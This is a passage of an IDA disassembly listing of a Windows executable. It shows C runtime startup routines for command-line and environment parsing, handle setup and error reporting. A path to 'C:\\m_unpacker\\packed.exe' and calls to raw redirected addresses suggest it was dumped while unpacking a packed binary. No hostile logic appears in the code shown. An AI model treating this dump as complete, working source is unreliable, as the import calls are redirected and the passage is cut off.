		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43D02C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43D02C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43D02C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43D02C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43D02C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43D02C, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43D02C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D02C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DBA30, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2630000h


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D028
		cmp	dword_43CFA8, edx
		push	esi
		mov	eax, offset dword_43CFA8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CFA8h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CFA8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DCFF4, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DCFEC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB9C8
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB980, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB9C8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB9C8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB9C8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DCFF0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		mov	eax, dword_4DCFEC
		mov	off_4DB990, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB978, esi
		pop	edi
		pop	esi
		mov	dword_4DB974, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBB38
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DBB38, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		nop
		call	near ptr 26209A6h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DBB38, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		call	near ptr 2620C97h
		nop
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 26209A6h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2620D1Ch
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DCCA0, esi
		mov	dword_4DCDA0, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DCCA0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 2870000h
		nop
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DCDA0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DCCA4


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DCDA0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DCDA0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DCDA0


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DCCA0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 26206F1h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DCDA0
		call	near ptr 26208C3h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB9D0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A9A4, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DBB3C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D038


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D0C8
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D038[esi]
		jnz	loc_423719
		mov	eax, dword_4DB9D0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A9A4, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2670000h
		nop
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
